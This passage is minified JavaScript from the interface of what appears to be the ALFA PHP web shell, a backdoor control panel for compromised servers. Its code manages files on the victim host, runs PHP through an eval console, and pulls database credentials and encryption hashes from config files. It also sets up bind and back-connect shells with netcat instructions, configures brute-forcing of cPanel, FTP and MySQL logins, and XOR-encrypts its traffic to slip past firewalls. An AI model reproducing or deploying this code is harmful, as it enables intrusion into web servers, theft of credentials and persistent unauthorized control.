r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id=\'"+s+"\' class=\'up_bar\'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname=\'"+n+"\']").parentElement.parentElement.parentElement.remove()}catch(e){}l+=\'<tr class="fmanager-row" id="tr_row_\'+r+\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'+n+\'" class="chkbx" id="checkbox\'+r+\'"><label for="checkbox\'+r+\'"></label></div></td><td id="td_row_\'+r+\'">\'+p+\'<div style="position:relative;display:inline-block;bottom:12px;"><a row="\'+r+\'" id="id_\'+r+\'" class="main_name" onclick="editor(\\\'\'+s+"\',\'auto\',\'\',\'\',\'\',\'file\');\\" href=\\"#action=fileman&amp;path="+c_+"&amp;file="+s+\'" fname="\'+n+\'" ftype="file" path="\'+c_+\'" opt_title="">\'+n+\'</a></div></td><td><span style="font-weight:unset;" class="main_size">\'+c+\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'+_+\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'+u+\'</span></td><td><a id="id_chmode_\'+r+\'" href="javascript:void(0)" onclick="editor(\\\'\'+s+"\',\'chmod\',\'\',\'\',\'\',\'file\')\\">"+f+\'</a></td><td><a id="id_rename_\'+r+\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'rename\',\'\',\'\',\'\',\'file\')\\">R</a> <a id=\\"id_touch_"+r+\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'touch\',\'\',\'\',\'\',\'file\')\\">T</a> <a id=\\"id_edit_"+r+\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'edit\',\'\',\'\',\'\',\'file\')\\">E</a> <a id=\\"id_download_"+r+\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'+n+"\', \'download\')\\">D</a><a id=\\"id_delete_"+r+\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'+s+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+s+"\') : \'\';\\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\\/\\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\\/\\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id=\'loader_"+e+\'\\\' class="options-loader-holder"><div parent="\'+e+\'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">Cavdar59</div><div class="alfa-ajax-error"></div><img src=\\\'http://solevisible.com/images/loader.svg\\\'></div>\')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML=\'<label class="inputfile" for="\'+e+\'"><span id="__fnameup\'+upcount+\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\'+e+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');" multiple>\',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\\./g,"\\\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\\//g,"")==f.replace(/\\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick=\'editorTabController(this);\' opt_id=\'"+b+"\' id=\'tab_"+b+"\' class=\'editor-tab-name editor-tab-active\'>"+decodeURIComponent(e)+" <img opt_id=\'"+b+"\' onclick=\'closeEditorContent(this,event);return false;\' title=\'[close]\' src=\'http://solevisible.com/icons/menu/delete.svg\'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class=\'editor-contents editor-content-active\' id=\'"+b+"\'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\\/\\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id=\'"+e+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(a,i,e)+"</div><div class=\'editor-file-name\'>"+a+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\\""+e+"\\");\'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class=\'editor-icon\'>"+loadType(editor_files[t].file,e,t)+"</div><div class=\'editor-file-name\'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor(\'"+a+"\',\'auto\',\'\',\'\',\'\',\'file\')"),$(r).setAttribute("onclick","editor(\'"+a+"\',\'edit\',\'\',\'\',\'\',\'"+s+"\')"),$(n).setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g(\'FilesMan\', \'"+c_+"/"+a+"\')")),$(i).setAttribute("onclick","editor(\'"+a+"\',\'chmod\',\'\',\'\',\'\',\'"+s+"\')"),$(l).setAttribute("onclick","editor(\'"+a+"\',\'rename\',\'\',\'\',\'\',\'"+s+"\')"),$(o).setAttribute("onclick","editor(\'"+a+"\',\'touch\',\'\',\'\',\'\',\'"+s+"\')"),$(d).setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\\/\\//g,"/"),l=l.replace(/\\/\\//g,"/"),-1!=(t=t.replace(/\\/\\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\\/\\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\\/\\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var 